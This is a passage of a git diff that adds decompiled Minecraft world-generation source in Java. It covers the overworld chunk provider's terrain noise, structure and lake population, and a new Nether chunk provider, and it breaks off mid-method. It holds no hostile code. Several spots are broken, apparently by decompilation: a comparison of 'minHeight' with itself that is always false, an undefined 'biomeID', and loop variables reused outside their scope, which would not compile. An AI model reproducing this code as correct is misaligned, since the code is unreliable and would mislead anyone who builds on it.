+    rand.setSeed(p_73154_1_ * 341873128712L + p_73154_2_ * 132897987541L);
+    ChunkPrimer var3 = new ChunkPrimer();
+    func_180518_a(p_73154_1_, p_73154_2_, var3);
+    biomesForGeneration = worldObj.getWorldChunkManager().loadBlockGeneratorData(biomesForGeneration, p_73154_1_ * 16, p_73154_2_ * 16, 16, 16);
+    func_180517_a(p_73154_1_, p_73154_2_, var3, biomesForGeneration);
+    
+    if (field_177477_r.field_177839_r)
+    {
+      caveGenerator.func_175792_a(this, worldObj, p_73154_1_, p_73154_2_, var3);
+    }
+    
+    if (field_177477_r.field_177850_z)
+    {
+      ravineGenerator.func_175792_a(this, worldObj, p_73154_1_, p_73154_2_, var3);
+    }
+    
+    if ((field_177477_r.field_177829_w) && (mapFeaturesEnabled))
+    {
+      mineshaftGenerator.func_175792_a(this, worldObj, p_73154_1_, p_73154_2_, var3);
+    }
+    
+    if ((field_177477_r.field_177831_v) && (mapFeaturesEnabled))
+    {
+      villageGenerator.func_175792_a(this, worldObj, p_73154_1_, p_73154_2_, var3);
+    }
+    
+    if ((field_177477_r.field_177833_u) && (mapFeaturesEnabled))
+    {
+      strongholdGenerator.func_175792_a(this, worldObj, p_73154_1_, p_73154_2_, var3);
+    }
+    
+    if ((field_177477_r.field_177854_x) && (mapFeaturesEnabled))
+    {
+      scatteredFeatureGenerator.func_175792_a(this, worldObj, p_73154_1_, p_73154_2_, var3);
+    }
+    
+    if ((field_177477_r.field_177852_y) && (mapFeaturesEnabled))
+    {
+      field_177474_A.func_175792_a(this, worldObj, p_73154_1_, p_73154_2_, var3);
+    }
+    
+    Chunk var4 = new Chunk(worldObj, var3, p_73154_1_, p_73154_2_);
+    byte[] var5 = var4.getBiomeArray();
+    
+    for (int var6 = 0; var6 < var5.length; var6++)
+    {
+      var5[var6] = ((byte)biomesForGeneration[var6].biomeID);
+    }
+    
+    var4.generateSkylightMap();
+    return var4;
+  }
+  
+  private void func_147423_a(int p_147423_1_, int p_147423_2_, int p_147423_3_)
+  {
+    field_147426_g = noiseGen6.generateNoiseOctaves(field_147426_g, p_147423_1_, p_147423_3_, 5, 5, field_177477_r.field_177808_e, field_177477_r.field_177803_f, field_177477_r.field_177804_g);
+    float var4 = field_177477_r.field_177811_a;
+    float var5 = field_177477_r.field_177809_b;
+    field_147427_d = field_147429_l.generateNoiseOctaves(field_147427_d, p_147423_1_, p_147423_2_, p_147423_3_, 5, 33, 5, var4 / field_177477_r.field_177825_h, var5 / field_177477_r.field_177827_i, var4 / field_177477_r.field_177821_j);
+    field_147428_e = field_147431_j.generateNoiseOctaves(field_147428_e, p_147423_1_, p_147423_2_, p_147423_3_, 5, 33, 5, var4, var5, var4);
+    field_147425_f = field_147432_k.generateNoiseOctaves(field_147425_f, p_147423_1_, p_147423_2_, p_147423_3_, 5, 33, 5, var4, var5, var4);
+    boolean var37 = false;
+    boolean var36 = false;
+    int var6 = 0;
+    int var7 = 0;
+    
+    for (int var8 = 0; var8 < 5; var8++)
+    {
+      for (int var9 = 0; var9 < 5; var9++)
+      {
+        float var10 = 0.0F;
+        float var11 = 0.0F;
+        float var12 = 0.0F;
+        byte var13 = 2;
+        BiomeGenBase var14 = biomesForGeneration[(var8 + 2 + (var9 + 2) * 10)];
+        
+        for (int var15 = -var13; var15 <= var13; var15++)
+        {
+          for (int var16 = -var13; var16 <= var13; var16++)
+          {
+            BiomeGenBase var17 = biomesForGeneration[(var8 + var15 + 2 + (var9 + var16 + 2) * 10)];
+            float var18 = field_177477_r.field_177813_n + minHeight * field_177477_r.field_177819_m;
+            float var19 = field_177477_r.field_177843_p + maxHeight * field_177477_r.field_177815_o;
+            
+            if ((field_177475_o == WorldType.AMPLIFIED) && (var18 > 0.0F))
+            {
+              var18 = 1.0F + var18 * 2.0F;
+              var19 = 1.0F + var19 * 4.0F;
+            }
+            
+            float var20 = parabolicField[(var15 + 2 + (var16 + 2) * 5)] / (var18 + 2.0F);
+            
+            if (minHeight > minHeight)
+            {
+              var20 /= 2.0F;
+            }
+            
+            var10 += var19 * var20;
+            var11 += var18 * var20;
+            var12 += var20;
+          }
+        }
+        
+        var10 /= var12;
+        var11 /= var12;
+        var10 = var10 * 0.9F + 0.1F;
+        var11 = (var11 * 4.0F - 1.0F) / 8.0F;
+        double var38 = field_147426_g[var7] / 8000.0D;
+        
+        if (var38 < 0.0D)
+        {
+          var38 = -var38 * 0.3D;
+        }
+        
+        var38 = var38 * 3.0D - 2.0D;
+        
+        if (var38 < 0.0D)
+        {
+          var38 /= 2.0D;
+          
+          if (var38 < -1.0D)
+          {
+            var38 = -1.0D;
+          }
+          
+          var38 /= 1.4D;
+          var38 /= 2.0D;
+        }
+        else
+        {
+          if (var38 > 1.0D)
+          {
+            var38 = 1.0D;
+          }
+          
+          var38 /= 8.0D;
+        }
+        
+        var7++;
+        double var39 = var11;
+        double var40 = var10;
+        var39 += var38 * 0.2D;
+        var39 = var39 * field_177477_r.field_177823_k / 8.0D;
+        double var21 = field_177477_r.field_177823_k + var39 * 4.0D;
+        
+        for (int var23 = 0; var23 < 33; var23++)
+        {
+          double var24 = (var23 - var21) * field_177477_r.field_177817_l * 128.0D / 256.0D / var40;
+          
+          if (var24 < 0.0D)
+          {
+            var24 *= 4.0D;
+          }
+          
+          double var26 = field_147428_e[var6] / field_177477_r.field_177806_d;
+          double var28 = field_147425_f[var6] / field_177477_r.field_177810_c;
+          double var30 = (field_147427_d[var6] / 10.0D + 1.0D) / 2.0D;
+          double var32 = MathHelper.denormalizeClamp(var26, var28, var30) - var24;
+          
+          if (var23 > 29)
+          {
+            double var34 = (var23 - 29) / 3.0F;
+            var32 = var32 * (1.0D - var34) + -10.0D * var34;
+          }
+          
+          field_147434_q[var6] = var32;
+          var6++;
+        }
+      }
+    }
+  }
+  
+
+
+
+  public boolean chunkExists(int p_73149_1_, int p_73149_2_)
+  {
+    return true;
+  }
+  
+
+
+
+  public void populate(IChunkProvider p_73153_1_, int p_73153_2_, int p_73153_3_)
+  {
+    net.minecraft.block.BlockFalling.fallInstantly = true;
+    int var4 = p_73153_2_ * 16;
+    int var5 = p_73153_3_ * 16;
+    BlockPos var6 = new BlockPos(var4, 0, var5);
+    BiomeGenBase var7 = worldObj.getBiomeGenForCoords(var6.add(16, 0, 16));
+    rand.setSeed(worldObj.getSeed());
+    long var8 = rand.nextLong() / 2L * 2L + 1L;
+    long var10 = rand.nextLong() / 2L * 2L + 1L;
+    rand.setSeed(p_73153_2_ * var8 + p_73153_3_ * var10 ^ worldObj.getSeed());
+    boolean var12 = false;
+    ChunkCoordIntPair var13 = new ChunkCoordIntPair(p_73153_2_, p_73153_3_);
+    
+    if ((field_177477_r.field_177829_w) && (mapFeaturesEnabled))
+    {
+      mineshaftGenerator.func_175794_a(worldObj, rand, var13);
+    }
+    
+    if ((field_177477_r.field_177831_v) && (mapFeaturesEnabled))
+    {
+      var12 = villageGenerator.func_175794_a(worldObj, rand, var13);
+    }
+    
+    if ((field_177477_r.field_177833_u) && (mapFeaturesEnabled))
+    {
+      strongholdGenerator.func_175794_a(worldObj, rand, var13);
+    }
+    
+    if ((field_177477_r.field_177854_x) && (mapFeaturesEnabled))
+    {
+      scatteredFeatureGenerator.func_175794_a(worldObj, rand, var13);
+    }
+    
+    if ((field_177477_r.field_177852_y) && (mapFeaturesEnabled))
+    {
+      field_177474_A.func_175794_a(worldObj, rand, var13);
+    }
+    
+
+
+
+
+    if ((var7 != BiomeGenBase.desert) && (var7 != BiomeGenBase.desertHills) && (field_177477_r.field_177781_A) && (!var12) && (rand.nextInt(field_177477_r.field_177782_B) == 0))
+    {
+      int var14 = rand.nextInt(16) + 8;
+      int var15 = rand.nextInt(256);
+      int var16 = rand.nextInt(16) + 8;
+      new WorldGenLakes(Blocks.water).generate(worldObj, rand, var6.add(var14, var15, var16));
+    }
+    
+    if ((!var12) && (rand.nextInt(field_177477_r.field_177777_D / 10) == 0) && (field_177477_r.field_177783_C))
+    {
+      int var14 = rand.nextInt(16) + 8;
+      int var15 = rand.nextInt(rand.nextInt(248) + 8);
+      int var16 = rand.nextInt(16) + 8;
+      
+      if ((var15 < 63) || (rand.nextInt(field_177477_r.field_177777_D / 8) == 0))
+      {
+        new WorldGenLakes(Blocks.lava).generate(worldObj, rand, var6.add(var14, var15, var16));
+      }
+    }
+    
+    if (field_177477_r.field_177837_s)
+    {
+      for (int var14 = 0; var14 < field_177477_r.field_177835_t; var14++)
+      {
+        int var15 = rand.nextInt(16) + 8;
+        int var16 = rand.nextInt(256);
+        int var17 = rand.nextInt(16) + 8;
+        new WorldGenDungeons().generate(worldObj, rand, var6.add(var15, var16, var17));
+      }
+    }
+    
+    var7.func_180624_a(worldObj, rand, new BlockPos(var4, 0, var5));
+    SpawnerAnimals.performWorldGenSpawning(worldObj, var7, var4 + 8, var5 + 8, 16, 16, rand);
+    var6 = var6.add(8, 0, 8);
+    
+    for (int var14 = 0; var14 < 16; var14++)
+    {
+      for (int var15 = 0; var15 < 16; var15++)
+      {
+        BlockPos var18 = worldObj.func_175725_q(var6.add(var14, 0, var15));
+        BlockPos var19 = var18.offsetDown();
+        
+        if (worldObj.func_175675_v(var19))
+        {
+          worldObj.setBlockState(var19, Blocks.ice.getDefaultState(), 2);
+        }
+        
+        if (worldObj.func_175708_f(var18, true))
+        {
+          worldObj.setBlockState(var18, Blocks.snow_layer.getDefaultState(), 2);
+        }
+      }
+    }
+    
+    net.minecraft.block.BlockFalling.fallInstantly = false;
+  }
+  
+  public boolean func_177460_a(IChunkProvider p_177460_1_, Chunk p_177460_2_, int p_177460_3_, int p_177460_4_)
+  {
+    boolean var5 = false;
+    
+    if ((field_177477_r.field_177852_y) && (mapFeaturesEnabled) && (p_177460_2_.getInhabitedTime() < 3600L))
+    {
+      var5 |= field_177474_A.func_175794_a(worldObj, rand, new ChunkCoordIntPair(p_177460_3_, p_177460_4_));
+    }
+    
+    return var5;
+  }
+  
+
+
+
+
+  public boolean saveChunks(boolean p_73151_1_, IProgressUpdate p_73151_2_)
+  {
+    return true;
+  }
+  
+
+
+
+
+  public void saveExtraData() {}
+  
+
+
+
+  public boolean unloadQueuedChunks()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canSave()
+  {
+    return true;
+  }
+  
+
+
+
+  public String makeString()
+  {
+    return "RandomLevelSource";
+  }
+  
+  public List func_177458_a(EnumCreatureType p_177458_1_, BlockPos p_177458_2_)
+  {
+    BiomeGenBase var3 = worldObj.getBiomeGenForCoords(p_177458_2_);
+    
+    if (mapFeaturesEnabled)
+    {
+      if ((p_177458_1_ == EnumCreatureType.MONSTER) && (scatteredFeatureGenerator.func_175798_a(p_177458_2_)))
+      {
+        return scatteredFeatureGenerator.getScatteredFeatureSpawnList();
+      }
+      
+      if ((p_177458_1_ == EnumCreatureType.MONSTER) && (field_177477_r.field_177852_y) && (field_177474_A.func_175796_a(worldObj, p_177458_2_)))
+      {
+        return field_177474_A.func_175799_b();
+      }
+    }
+    
+    return var3.getSpawnableList(p_177458_1_);
+  }
+  
+  public BlockPos func_180513_a(World worldIn, String p_180513_2_, BlockPos p_180513_3_)
+  {
+    return ("Stronghold".equals(p_180513_2_)) && (strongholdGenerator != null) ? strongholdGenerator.func_180706_b(worldIn, p_180513_3_) : null;
+  }
+  
+  public int getLoadedChunkCount()
+  {
+    return 0;
+  }
+  
+  public void func_180514_a(Chunk p_180514_1_, int p_180514_2_, int p_180514_3_)
+  {
+    if ((field_177477_r.field_177829_w) && (mapFeaturesEnabled))
+    {
+      mineshaftGenerator.func_175792_a(this, worldObj, p_180514_2_, p_180514_3_, null);
+    }
+    
+    if ((field_177477_r.field_177831_v) && (mapFeaturesEnabled))
+    {
+      villageGenerator.func_175792_a(this, worldObj, p_180514_2_, p_180514_3_, null);
+    }
+    
+    if ((field_177477_r.field_177833_u) && (mapFeaturesEnabled))
+    {
+      strongholdGenerator.func_175792_a(this, worldObj, p_180514_2_, p_180514_3_, null);
+    }
+    
+    if ((field_177477_r.field_177854_x) && (mapFeaturesEnabled))
+    {
+      scatteredFeatureGenerator.func_175792_a(this, worldObj, p_180514_2_, p_180514_3_, null);
+    }
+    
+    if ((field_177477_r.field_177852_y) && (mapFeaturesEnabled))
+    {
+      field_177474_A.func_175792_a(this, worldObj, p_180514_2_, p_180514_3_, null);
+    }
+  }
+  
+  public Chunk func_177459_a(BlockPos p_177459_1_)
+  {
+    return provideChunk(p_177459_1_.getX() >> 4, p_177459_1_.getZ() >> 4);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/ChunkProviderHell.java b/src/minecraft/net/minecraft/world/gen/ChunkProviderHell.java
new file mode 100644
index 0000000..78ca3cc
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/ChunkProviderHell.java
@@ -0,0 +1,529 @@
+package net.minecraft.world.gen;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockStaticLiquid;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.block.state.pattern.BlockHelper;
+import net.minecraft.entity.EnumCreatureType;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IProgressUpdate;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.WorldChunkManager;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.chunk.IChunkProvider;
+import net.minecraft.world.gen.feature.WorldGenFire;
+import net.minecraft.world.gen.feature.WorldGenGlowStone1;
+import net.minecraft.world.gen.feature.WorldGenGlowStone2;
+import net.minecraft.world.gen.feature.WorldGenHellLava;
+import net.minecraft.world.gen.feature.WorldGenMinable;
+import net.minecraft.world.gen.feature.WorldGenerator;
+import net.minecraft.world.gen.structure.MapGenNetherBridge;
+
+
+
+public class ChunkProviderHell
+  implements IChunkProvider
+{
+  private final World worldObj;
+  private final boolean field_177466_i;
+  private final Random hellRNG;
+  private double[] slowsandNoise = new double['Ā'];
+  private double[] gravelNoise = new double['Ā'];
+  
+
+
+
+  private double[] netherrackExclusivityNoise = new double['Ā'];
+  
+  private double[] noiseField;
+  
+  private final NoiseGeneratorOctaves netherNoiseGen1;
+  
+  private final NoiseGeneratorOctaves netherNoiseGen2;
+  
+  private final NoiseGeneratorOctaves netherNoiseGen3;
+  
+  private final NoiseGeneratorOctaves slowsandGravelNoiseGen;
+  
+  private final NoiseGeneratorOctaves netherrackExculsivityNoiseGen;
+  
+  public final NoiseGeneratorOctaves netherNoiseGen6;
+  
+  public final NoiseGeneratorOctaves netherNoiseGen7;
+  private final WorldGenFire field_177470_t = new WorldGenFire();
+  private final WorldGenGlowStone1 field_177469_u = new WorldGenGlowStone1();
+  private final WorldGenGlowStone2 field_177468_v = new WorldGenGlowStone2();
+  private final WorldGenerator field_177467_w;
+  private final WorldGenHellLava field_177473_x;
+  private final WorldGenHellLava field_177472_y;
+  private final GeneratorBushFeature field_177471_z;
+  private final GeneratorBushFeature field_177465_A;
+  private final MapGenNetherBridge genNetherBridge;
+  private final MapGenBase netherCaveGenerator;
+  double[] noiseData1;
+  double[] noiseData2;
+  double[] noiseData3;
+  double[] noiseData4;
+  double[] noiseData5;
+  private static final String __OBFID = "CL_00000392";
+  
+  public ChunkProviderHell(World worldIn, boolean p_i45637_2_, long p_i45637_3_)
+  {
+    field_177467_w = new WorldGenMinable(Blocks.quartz_ore.getDefaultState(), 14, BlockHelper.forBlock(Blocks.netherrack));
+    field_177473_x = new WorldGenHellLava(Blocks.flowing_lava, true);
+    field_177472_y = new WorldGenHellLava(Blocks.flowing_lava, false);
+    field_177471_z = new GeneratorBushFeature(Blocks.brown_mushroom);
+    field_177465_A = new GeneratorBushFeature(Blocks.red_mushroom);
+    genNetherBridge = new MapGenNetherBridge();
+    netherCaveGenerator = new MapGenCavesHell();
+    worldObj = worldIn;
+    field_177466_i = p_i45637_2_;
+    hellRNG = new Random(p_i45637_3_);
+    netherNoiseGen1 = new NoiseGeneratorOctaves(hellRNG, 16);
+    netherNoiseGen2 = new NoiseGeneratorOctaves(hellRNG, 16);
+    netherNoiseGen3 = new NoiseGeneratorOctaves(hellRNG, 8);
+    slowsandGravelNoiseGen = new NoiseGeneratorOctaves(hellRNG, 4);
+    netherrackExculsivityNoiseGen = new NoiseGeneratorOctaves(hellRNG, 4);
+    netherNoiseGen6 = new NoiseGeneratorOctaves(hellRNG, 10);
+    netherNoiseGen7 = new NoiseGeneratorOctaves(hellRNG, 16);
+  }
+  
+  public void func_180515_a(int p_180515_1_, int p_180515_2_, ChunkPrimer p_180515_3_)
+  {
+    byte var4 = 4;
+    byte var5 = 32;
+    int var6 = var4 + 1;
+    byte var7 = 17;
+    int var8 = var4 + 1;
+    noiseField = initializeNoiseField(noiseField, p_180515_1_ * var4, 0, p_180515_2_ * var4, var6, var7, var8);
+    
+    for (int var9 = 0; var9 < var4; var9++)
+    {
+      for (int var10 = 0; var10 < var4; var10++)
+      {
+        for (int var11 = 0; var11 < 16; var11++)
+        {
+          double var12 = 0.125D;
+          double var14 = noiseField[(((var9 + 0) * var8 + var10 + 0) * var7 + var11 + 0)];
+          double var16 = noiseField[(((var9 + 0) * var8 + var10 + 1) * var7 + var11 + 0)];
+          double var18 = noiseField[(((var9 + 1) * var8 + var10 + 0) * var7 + var11 + 0)];
+          double var20 = noiseField[(((var9 + 1) * var8 + var10 + 1) * var7 + var11 + 0)];
+          double var22 = (noiseField[(((var9 + 0) * var8 + var10 + 0) * var7 + var11 + 1)] - var14) * var12;
+          double var24 = (noiseField[(((var9 + 0) * var8 + var10 + 1) * var7 + var11 + 1)] - var16) * var12;
+          double var26 = (noiseField[(((var9 + 1) * var8 + var10 + 0) * var7 + var11 + 1)] - var18) * var12;
+          double var28 = (noiseField[(((var9 + 1) * var8 + var10 + 1) * var7 + var11 + 1)] - var20) * var12;
+          
+          for (int var30 = 0; var30 < 8; var30++)
+          {
+            double var31 = 0.25D;
+            double var33 = var14;
+            double var35 = var16;
+            double var37 = (var18 - var14) * var31;
+            double var39 = (var20 - var16) * var31;
+            
+            for (int var41 = 0; var41 < 4; var41++)
+            {
+              double var42 = 0.25D;
+              double var44 = var33;
+              double var46 = (var35 - var33) * var42;
+              
+              for (int var48 = 0; var48 < 4; var48++)
+              {
+                IBlockState var49 = null;
+                
+                if (var11 * 8 + var30 < var5)
+                {
+                  var49 = Blocks.lava.getDefaultState();
+                }
+                
+                if (var44 > 0.0D)
+                {
+                  var49 = Blocks.netherrack.getDefaultState();
+                }
+                
+                int var50 = var41 + var9 * 4;
+                int var51 = var30 + var11 * 8;
+                int var52 = var48 + var10 * 4;
+                p_180515_3_.setBlockState(var50, var51, var52, var49);
+                var44 += var46;
+              }
+              
+              var33 += var37;
+              var35 += var39;
+            }
+            
+            var14 += var22;
+            var16 += var24;
+            var18 += var26;
+            var20 += var28;
+          }
+        }
+      }
+    }
+  }
+  
+  public void func_180516_b(int p_180516_1_, int p_180516_2_, ChunkPrimer p_180516_3_)
+  {
+    byte var4 = 64;
+    double var5 = 0.03125D;
+    slowsandNoise = slowsandGravelNoiseGen.generateNoiseOctaves(slowsandNoise, p_180516_1_ * 16, p_180516_2_ * 16, 0, 16, 16, 1, var5, var5, 1.0D);
+    gravelNoise = slowsandGravelNoiseGen.generateNoiseOctaves(gravelNoise, p_180516_1_ * 16, 109, p_180516_2_ * 16, 16, 1, 16, var5, 1.0D, var5);
+    netherrackExclusivityNoise = netherrackExculsivityNoiseGen.generateNoiseOctaves(netherrackExclusivityNoise, p_180516_1_ * 16, p_180516_2_ * 16, 0, 16, 16, 1, var5 * 2.0D, var5 * 2.0D, var5 * 2.0D);
+    
+    for (int var7 = 0; var7 < 16; var7++)
+    {
+      for (int var8 = 0; var8 < 16; var8++)
+      {
+        boolean var9 = slowsandNoise[(var7 + var8 * 16)] + hellRNG.nextDouble() * 0.2D > 0.0D;
+        boolean var10 = gravelNoise[(var7 + var8 * 16)] + hellRNG.nextDouble() * 0.2D > 0.0D;
+        int var11 = (int)(netherrackExclusivityNoise[(var7 + var8 * 16)] / 3.0D + 3.0D + hellRNG.nextDouble() * 0.25D);
+        int var12 = -1;
+        IBlockState var13 = Blocks.netherrack.getDefaultState();
+        IBlockState var14 = Blocks.netherrack.getDefaultState();
+        
+        for (int var15 = 127; var15 >= 0; var15--)
+        {
+          if ((var15 < 127 - hellRNG.nextInt(5)) && (var15 > hellRNG.nextInt(5)))
+          {
+            IBlockState var16 = p_180516_3_.getBlockState(var8, var15, var7);
+            
+            if ((var16.getBlock() != null) && (var16.getBlock().getMaterial() != Material.air))
+            {
+              if (var16.getBlock() == Blocks.netherrack)
+              {
+                if (var12 == -1)
+                {
+                  if (var11 <= 0)
+                  {
+                    var13 = null;
+                    var14 = Blocks.netherrack.getDefaultState();
+                  }
+                  else if ((var15 >= var4 - 4) && (var15 <= var4 + 1))
+                  {
+                    var13 = Blocks.netherrack.getDefaultState();
+                    var14 = Blocks.netherrack.getDefaultState();
+                    
+                    if (var10)
+                    {
+                      var13 = Blocks.gravel.getDefaultState();
+                      var14 = Blocks.netherrack.getDefaultState();
+                    }
+                    
+                    if (var9)
+                    {
+                      var13 = Blocks.soul_sand.getDefaultState();
+                      var14 = Blocks.soul_sand.getDefaultState();
+                    }
+                  }
+                  
+                  if ((var15 < var4) && ((var13 == null) || (var13.getBlock().getMaterial() == Material.air)))
+                  {
+                    var13 = Blocks.lava.getDefaultState();
+                  }
+                  
+                  var12 = var11;
+                  
+                  if (var15 >= var4 - 1)
+                  {
+                    p_180516_3_.setBlockState(var8, var15, var7, var13);
+                  }
+                  else
+                  {
+                    p_180516_3_.setBlockState(var8, var15, var7, var14);
+                  }
+                }
+                else if (var12 > 0)
+                {
+                  var12--;
+                  p_180516_3_.setBlockState(var8, var15, var7, var14);
+                }
+                
+              }
+            }
+            else {
+              var12 = -1;
+            }
+          }
+          else
+          {
+            p_180516_3_.setBlockState(var8, var15, var7, Blocks.bedrock.getDefaultState());
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  public Chunk provideChunk(int p_73154_1_, int p_73154_2_)
+  {
+    hellRNG.setSeed(p_73154_1_ * 341873128712L + p_73154_2_ * 132897987541L);
+    ChunkPrimer var3 = new ChunkPrimer();
+    func_180515_a(p_73154_1_, p_73154_2_, var3);
+    func_180516_b(p_73154_1_, p_73154_2_, var3);
+    netherCaveGenerator.func_175792_a(this, worldObj, p_73154_1_, p_73154_2_, var3);
+    
+    if (field_177466_i)
+    {
+      genNetherBridge.func_175792_a(this, worldObj, p_73154_1_, p_73154_2_, var3);
+    }
+    
+    Chunk var4 = new Chunk(worldObj, var3, p_73154_1_, p_73154_2_);
+    BiomeGenBase[] var5 = worldObj.getWorldChunkManager().loadBlockGeneratorData(null, p_73154_1_ * 16, p_73154_2_ * 16, 16, 16);
+    byte[] var6 = var4.getBiomeArray();
+    
+    for (int var7 = 0; var7 < var6.length; var7++)
+    {
+      var6[var7] = ((byte)biomeID);
+    }
+    
+    var4.resetRelightChecks();
+    return var4;
+  }
+  
+
+
+
+
+  private double[] initializeNoiseField(double[] p_73164_1_, int p_73164_2_, int p_73164_3_, int p_73164_4_, int p_73164_5_, int p_73164_6_, int p_73164_7_)
+  {
+    if (p_73164_1_ == null)
+    {
+      p_73164_1_ = new double[p_73164_5_ * p_73164_6_ * p_73164_7_];
+    }
+    
+    double var8 = 684.412D;
+    double var10 = 2053.236D;
+    noiseData4 = netherNoiseGen6.generateNoiseOctaves(noiseData4, p_73164_2_, p_73164_3_, p_73164_4_, p_73164_5_, 1, p_73164_7_, 1.0D, 0.0D, 1.0D);
+    noiseData5 = netherNoiseGen7.generateNoiseOctaves(noiseData5, p_73164_2_, p_73164_3_, p_73164_4_, p_73164_5_, 1, p_73164_7_, 100.0D, 0.0D, 100.0D);
+    noiseData1 = netherNoiseGen3.generateNoiseOctaves(noiseData1, p_73164_2_, p_73164_3_, p_73164_4_, p_73164_5_, p_73164_6_, p_73164_7_, var8 / 80.0D, var10 / 60.0D, var8 / 80.0D);
+    noiseData2 = netherNoiseGen1.generateNoiseOctaves(noiseData2, p_73164_2_, p_73164_3_, p_73164_4_, p_73164_5_, p_73164_6_, p_73164_7_, var8, var10, var8);
+    noiseData3 = netherNoiseGen2.generateNoiseOctaves(noiseData3, p_73164_2_, p_73164_3_, p_73164_4_, p_73164_5_, p_73164_6_, p_73164_7_, var8, var10, var8);
+    int var12 = 0;
+    double[] var13 = new double[p_73164_6_];
+    
+
+    for (int var14 = 0; var14 < p_73164_6_; var14++)
+    {
+      var13[var14] = (Math.cos(var14 * 3.141592653589793D * 6.0D / p_73164_6_) * 2.0D);
+      double var15 = var14;
+      
+      if (var14 > p_73164_6_ / 2)
+      {
+        var15 = p_73164_6_ - 1 - var14;
+      }
+      
+      if (var15 < 4.0D)
+      {
+        var15 = 4.0D - var15;
+        var13[var14] -= var15 * var15 * var15 * 10.0D;
+      }
+    }
+    
+    for (var14 = 0; var14 < p_73164_5_; var14++)
+    {
+      for (int var31 = 0; var31 < p_73164_7_; var31++)
+      {
+        double var16 = 0.0D;
+        
+        for (int var18 = 0; var18 < p_73164_6_; var18++)
+        {
+          double var19 = 0.0D;
+          double var21 = var13[var18];
+          double var23 = noiseData2[var12] / 512.0D;
+          double var25 = noiseData3[var12] / 512.0D;
+          double var27 = (noiseData1[var12] / 10.0D + 1.0D) / 2.0D;
+          
+          if (var27 < 0.0D)
+          {
+            var19 = var23;
+          }
+          else if (var27 > 1.0D)
+          {
+            var19 = var25;
+          }
+          else
+          {
+            var19 = var23 + (var25 - var23) * var27;
+          }
+          
+          var19 -= var21;
+          
+
+          if (var18 > p_73164_6_ - 4)
+          {
+            double var29 = (var18 - (p_73164_6_ - 4)) / 3.0F;
+            var19 = var19 * (1.0D - var29) + -10.0D * var29;
+          }
+          
+          if (var18 < var16)
+          {
+            double var29 = (var16 - var18) / 4.0D;
+            var29 = MathHelper.clamp_double(var29, 0.0D, 1.0D);
+            var19 = var19 * (1.0D - var29) + -10.0D * var29;
+          }
+          
+          p_73164_1_[var12] = var19;
+          var12++;
+        }
+      }
+    }
+    
+    return p_73164_1_;
+  }
+  
+
+
+
+  public boolean chunkExists(int p_73149_1_, int p_73149_2_)
+  {
+    return true;
+  }
+  
+
+
+
+  public void populate(IChunkProvider p_73153_1_, int p_73153_2_, int p_73153_3_)
+  {
+    net.minecraft.block.BlockFalling.fallInstantly = true;
+    BlockPos var4 = new BlockPos(p_73153_2_ * 16, 0, p_73153_3_ * 16);
+    ChunkCoordIntPair var5 = new ChunkCoordIntPair(p_73153_2_, p_73153_3_);
+    genNetherBridge.func_175794_a(worldObj, hellRNG, var5);
+    
+
+    for (int var6 = 0; var6 < 8; var6++)
+    {
+      field_177472_y.generate(worldObj, hellRNG, var4.add(hellRNG.nextInt(16) + 8, hellRNG.nextInt(120) + 4, hellRNG.nextInt(16) + 8));
+    }
+    
+    for (var6 = 0; var6 < hellRNG.nextInt(hellRNG.nextInt(10) + 1) + 1; var6++)
+    {
+      field_177470_t.generate(worldObj, hellRNG, var4.add(hellRNG.nextInt(16) + 8, hellRNG.nextInt(120) + 4, hellRNG.nextInt(16) + 8));
+    }
+    
+    for (var6 = 0; var6 < hellRNG.nextInt(hellRNG.nextInt(10) + 1); var6++)
+    {
+      field_177469_u.generate(worldObj, hellRNG, var4.add(hellRNG.nextInt(16) + 8, hellRNG.nextInt(120) + 4, hellRNG.nextInt(16) + 8));
+    }
+    
+    for (var6 = 0; var6 < 10; var6++)
+    {
+      field_177468_v.generate(worldObj, hellRNG, var4.add(hellRNG.nextInt(16) + 8, hellRNG.nextInt(128), hellRNG.nextInt(16) + 8));
+    }
+    
+    if (hellRNG.nextBoolean())
+    {
+      field_177471_z.generate(worldObj, hellRNG, var4.add(hellRNG.nextInt(16) + 8, hellRNG.nextInt(128), hellRNG.nextInt(16) + 8));
+    }
+    
+    if (hellRNG.nextBoolean())
+    {
+      field_177465_A.generate(worldObj, hellRNG, var4.add(hellRNG.nextInt(16) + 8, hellRNG.nextInt(128), hellRNG.nextInt(16) + 8));
+    }
+    
+    for (var6 = 0; var6 < 16; var6++)
+    {
+      field_177467_w.generate(worldObj, hellRNG, var4.add(hellRNG.nextInt(16), hellRNG.nextInt(108) + 10, hellRNG.nextInt(16)));
+    }
+    
+    for (var6 = 0; var6 < 16; var6++)
+    {
+      field_177473_x.generate(worldObj, hellRNG, var4.add(hellRNG.nextInt(16), hellRNG.nextInt(108) + 10, hellRNG.nextInt(16)));
+    }
+    
+    net.minecraft.block.BlockFalling.fallInstantly = false;
+  }
+  
+  public boolean func_177460_a(IChunkProvider p_177460_1_, Chunk p_177460_2_, int p_177460_3_, int p_177460_4_)
+  {
+    return false;
+  }
+  
+
+
+
+
+  public boolean saveChunks(boolean p_73151_1_, IProgressUpdate p_73151_2_)
+  {
+    return true;
+  }
+  
+
+
+
+
+  public void saveExtraData() {}
+  
+
+
+
+  public boolean unloadQueuedChunks()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canSave()
+  {
+    return true;
+  }
+  
+
+
+
+  public String makeString()
+  {
+    return "HellRandomLevelSource";
+  }
+  
+  public List func_177458_a(EnumCreatureType p_177458_1_, BlockPos p_177458_2_)
+  {
+    if (p_177458_1_ == EnumCreatureType.MONSTER)
+    {
+      if (genNetherBridge.func_175795_b(p_177458_2_))
+      {
+        return genNetherBridge.getSpawnList();
+      }
+      
